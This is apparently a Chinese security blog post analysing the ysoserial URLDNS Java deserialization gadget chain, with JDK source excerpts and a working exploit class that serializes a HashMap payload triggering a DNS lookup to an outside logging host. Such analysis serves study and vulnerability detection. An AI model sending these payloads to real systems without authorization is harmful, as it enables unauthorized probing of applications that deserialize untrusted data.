URLDNS利用链是ysoserial中非常经典的一条链子,他通常用来检测是否存在java反序列化漏洞,由于该链仅依赖 Java 内置类、无需第三方库,且适用范围广,因此常被用于无回显环境下的漏洞探测,其具有以下的特点:
- 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
- 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
- URLDNS利用链,只能发起DNS请求,并不能进行其他利用
官方的利用链
ysoserial 官方给出的 URLDNS Gadget Chain 如下:
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
调试分析
先看一个简单的demo,用于验证URL.hashCode会触发DNS解析
package ysoserial;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class URLDNS{
public static void main(String[] args) throws MalformedURLException {
HashMap<URL,Integer> a = new HashMap<URL,Integer>();
a.put(new URL("https://745067d69a.ddns.1433.eu.org."), 1);
}
}
运行后可以看到在DNS平台接受到请求

先跟进到HashMap类中

可以看到这个类实现了Serializable接口,并重写了readObject方法


在readObject方法中,反序列化过程中会重新将键值对插入到HashMap中,核心代码putVal(hash(key), key, value, false, false);
在HashMap中插入一个键值对,在插入之前计算key的哈希值,也就是说,在反序列化过程中,HashMap会重新计算key的hash值
这里返回跟进demo中的put

可以看到返回的也是putVal方法
继续跟进调用的hash方法

就是判断key是否为null,为Null的话就返回0,否则将对key进行使用hashCode()方法后赋值给h并将这个h进行位移16位的异或操作
看这个hashCode方法,这个方法在URL类中

这里会对hashCode的值进行判断,看是否为-1,如果为-1会调用URLStreamHadnler的hashCode方法,而hashCode在URL类是默认为-1的

跟进URLStreamHadnler类的hashCode方法

u就是我们传入的url,这里会调用getHostAddress()方法,进行DNS查询
getHostAddress()
synchronized InetAddress getHostAddress() {
if (hostAddress != null) {
return hostAddress;
}
if (host == null || host.isEmpty()) {
return null;
}
try {
hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException | SecurityException ex) {
return null;
}
return hostAddress;
}
这里的InetAddress.getByName(host)就是根据主机名,获取其IP地址
exp
package ysoserial.Test;
import java.net.MalformedURLException;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import java.io.*;
import org.junit.Test;
public class URLDNS{
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL,String> map = new HashMap<>();
URL url = new URL("http://f1bfc12a25.ddns.1433.eu.org.");
Class cla = url.getClass();
Field fields = cla.getDeclaredField("hashCode");
fields.setAccessible(true);
fields.set(url,1);//避免提前触发DNS解析
map.put(url,"abc");
fields.set(url,-1);
serialization(map);
}
public static void serialization(Object obj) throws IOException, NoSuchFieldException, IllegalAccessException {
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("urldns.ser"));
o.writeObject(obj);
}
@Test
public void unserialization() throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ObjectInputStream oo = new ObjectInputStream(new FileInputStream("urldns.ser"));
oo.readObject();
}
}
总结
在HashMap类中重写了readObject方法,而readObject方法中的putVal方法会调用hash方法,hash方法下会调用URL类的hashCode方法,当hashCode属性等于-1,会调用URLStreamHadnler类的hashCode方法,之后就会调用getHostAddress方法,最后调用InetAddress.getByName方法触发DNS请求,通过URLDNS链子可以用来快速检测是否存在反序列化漏洞
该利用链在大多数 JDK 版本中均可使用,但在部分高版本 JDK 或安全策略受限环境下,DNS 请求可能被拦截。
参考文章: